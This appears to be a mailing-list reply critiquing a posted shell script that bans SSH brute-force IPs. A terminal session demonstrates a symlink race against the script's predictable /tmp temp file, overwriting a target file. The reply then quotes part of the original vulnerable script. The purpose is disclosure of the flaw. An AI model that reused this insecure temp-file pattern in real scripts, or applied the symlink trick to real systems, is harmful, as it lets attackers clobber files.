Well, we apreciate your script although I would preffer to stay with my nice
bruteforcing attempts than to create an insecure temporary file bug:

ergosum@sparta:~$ cat test.sh
#!/bin/sh

SCRIPT_NAME=$(basename $0)
TMP_FILE="/tmp/${SCRIPT_NAME}.$$"

touch ${TMP_FILE}
echo "pwn3d" > ${TMP_FILE}
exit
ergosum@sparta:~$ cat data
pr0n g0ld collection: ....

ergosum@sparta:~$ ln -s /home/ergosum/data /tmp/test.sh.18359
ergosum@sparta:~$ ln -s /home/ergosum/data /tmp/test.sh.18361
ergosum@sparta:~$ ln -s /home/ergosum/data /tmp/test.sh.18362
ergosum@sparta:~$ ./test.sh
ergosum@sparta:~$ cat data
pwn3d

SCRIPT_NAME=$(basename $0)
LOG_FILE="/var/log/secure"
DENY_FILE="/etc/hosts.deny"
TMP_FILE="/tmp/${SCRIPT_NAME}.$$"
INBOUND_IP=""
INLINE=""
GUESS_COUNT=0
PERMIT_GUESS=4
 
touch ${TMP_FILE}
 
while :
do
 
tail -10000 ${LOG_FILE} | grep "Failed password for illegal user" | awk
-F"from" {'print $2'} | awk {'print $1'} | uniq > ${TMP_FILE}
